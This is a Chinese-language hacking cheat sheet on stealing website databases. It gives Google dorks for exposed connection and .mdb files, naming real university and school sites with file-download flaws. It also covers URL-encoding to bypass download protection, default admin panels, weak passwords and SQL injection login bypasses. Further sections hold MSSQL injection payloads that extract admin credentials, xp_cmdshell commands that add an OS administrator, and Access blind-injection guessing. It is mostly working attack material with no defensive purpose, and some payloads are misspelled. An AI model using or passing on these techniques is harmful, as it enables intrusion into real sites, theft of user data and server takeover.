一、网站暴库漏洞
暴库,就是通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地。黑客非常乐意于这种工作,为什么呢?因为黑客在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,黑客也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。
一般是access数据库(文件形式的data.mdb)
SQL server或MySQL下载数据库连接文件,得到远程连接配置信息。
二、暴库利用方法
inurl:/inc/comm/asp
inurl:/inc+conn.asp to parent directory intext:
inurl:/inc/conn.asp
inurl:/inc+conn.asp
to parent directory
所有可以目录浏览的网页都有一些相同的地方,主要是下面几个:
to parent directory
last modified Description
转到父目录
谷歌语法:
intitle
intext
inurl
site
filetype
搜索域名后缀,常见的域名后缀:com/net/mil/org/info/gov/edu/biz/coop/areo/pro/int/arpa
例如:
下载某官网的数据库
intext:to parent directory+intext:mdb site:fudan.edu.cn
三、暴库绕过防下载
#sdsf.mdb
下载时改成
%23sdsf.mdb
#@!$%^^qweasd123$%^&.mdb
有特殊符号时需将url编码后在下载
%23@%21%24%25%5E%5Eqweasd123%24%25%5E%26.mdb
四、高级语法暴库
inurl:./..admin../..add..
inurl:./..amin../..del..
inurl:/.asp<id=<% <% <%
intetle:<%eval
五、下载漏洞
http://ipo.snnu.edu.cn/
http:ipo.snnu.edu/shida/UploadFiles/indentAttFile/2012061222041778.doc
http://ipo.snnu.edu.cn/down.asp?fieup=shida/UploadFiles/indentAttFile/2012061222041778.doc
http://www.sxzzy.cn/ggjs/news/down.asp?FileName=doc/2012-5/2012053010329973.doc
谷歌搜索:inurl:down.asp?FileName=
下载漏洞利用
1、用过蜘蛛爬行
2、找到该url
3、下载conn.asp config.php config.asp
4、db.mdb
六、网站后台密码爆破
为了管理员方便管理网站,cms系统通常有管理员后台管理接口,该接口需要出示管理员账号密码,正确验证后方可登陆。
常见后台
织梦----->dede
discuz---->admin.php
帝国----->e/admin
phpweb----->wp-admin
WordPress----->admin
aspcms------>admin
科讯------>admin
南方------>admin
良精------>admin
ecshop------>admin
maneger
login_admin
login_manage
七、弱口令猜解
常见初始密码弱口令:
admin、admin888、Admin、admin123、123456、111111 ...
逻辑万能密钥:
'or'='or'
admin' or 1=1--
八、常见的数据库
1、Mssql数据库
学校、政府、oa、游戏、棋牌、人事考试网站 asp、aspx+sqlserver
监听端口1433
数据库权限:
sa:数据库操作、文件管理、命令执行、注册表读取等,相当于system
db权限:文件管理、数据库操作等,相当于users-administrator
public:数据库操作,相当于guest-users
数据库后缀db.mdf
日志后缀log.idf
系统数据库
master
model
msdb
tempdb
1)调用数据库代码
如果是asp可能在rnc目录下[conn.asp/dbconfig.asp]
如果是asps可能在web.config
<%
set conn = server.createobject("adobd.connection")
conn.open "provider=sqloledb;soure=local;uid=sa;pwd=******;database=database-name"
%>
ip:local
uid:账户名
pwd:账户密码
database:数据库名
2)基本信息搜集
and 1=(select is_srvrolemember('sysadmin')) // 判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) // 判断是否是库权限
and 1=(select is_srvrolemember('public')) // 判断是否为public权限
and 1=convert(int,db_name())或1=(select db_name()) // 当前数据库名
and 1=(select @@servername) // 本地服务名
and 1=(select HAS_DBACCESS('master')) // 判断是否有库读取权限
3)注入语句
and 1=(select @@version) 数据库版本
and 1=(select db_name) 当前数据库名称
and 1=(select top 1 name from master..sysdatabases where dbid>4) 查询数据库
and 1=(select name from master..sysdatabases for xml path) 查询所有数据库
and 1=(select top 1 name from sysobjects where xtype='u' and name<>'newss') 查询表名
and 1=(select name from sysobjects for xml path) 查询所有表名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='admin') and name<>'user' and name<>'pass') 获取列名
and 1=(select top 1 user from admin 获取数据,用户名
and 1=(select top 1 pass from admin 获取数据,密码
4)利用mssql扩展存储注入攻击
1、检测与恢复扩展存储,判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) form master.dbo.sysobjects where xtype='x' AND name='xp_cmdshell')
2、判断xp_regread扩展存储是否存在
and 1=(select count(*) form master.dbo.sysobjects where xtype='x' AND name='xp_regread')
3、如果上面的插件没有安装需要恢复插件
EXEC sp_configure 'show advanced option',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; // 恢复插件
;exec master..xpcmdshell'net user test test /add' // 执行系统命令创建用户
;exec master..xpcmdshell'net localgroup administrators test /add' // 添加到管理员组
exec master.dbo.sp_addlogin test,password // 添加和删除一个SA权限的用户test(需要SA权限)
exec master.dbo.sp_addsrvrolemeber test,sysadmin // 将test 添加到管理员组
exec master..xp_servicecontrol 'stop','shedule' // 停止服务 (需要SA权限)
exec master..xp_servicecontrol 'start','shedule' // 启动服务 (需要SA权限)
2、MySQL数据库
1)mysql函数
system_user() // 系统用户名
user() // 用户名
current_user // 当前用户名
session_user() // 连接数据库的用户名
database() // 数据库名
version() // mysql数据库版本
load_file() // 转成16进制或10进制MySQL读取本地文件的函数
@@basedir // 读取数据库路径
@@version_compile_os // 操作系统
2)数据库连接
配置文件:
config.php
db_config.php
include/common.inc.php
<?php
$host="localhost"; // 数据库地址
$database="admin"; // 数据库名称
$user="root"; // 数据库账户
$pass="pwd"; // 数据库密码
$webml=""; // 安装文件夹
?>
如果在查看过程中单引号被过滤可以将查询条件转换成16进制
3、Access数据库
1)注入流程
判断数据库注入
and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver
判断数据库表
and exists (select * from admin)
判断数据库列名
and exists (select admin from admin)
判断密码长度
and (select len(password) from admin)=5 admin表中password列的长度
2)ASCII码猜解
猜解管理员账号的第一个数据
通过ascii码判断
and (select top 1 asc(mid(admin,1,1)) from admin)>100 // 返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50 // 返回正常说明大于
and (select top 1 asc(mid(admin,1,1)) from admin)=97 // 返回正常说明等于97,97对应的字母为a
以此类推
判断管理员账户的第二个数据
and (select top 1 asc(mid(admin,2,1)) from admin)>100 // 返回正常说明大于,不正常说明不大于
判断管理员账户的第三个数据
and (select top 1 asc(mid(admin,3,1)) from admin)>100 // 返回正常说明大于,不正常说明不大于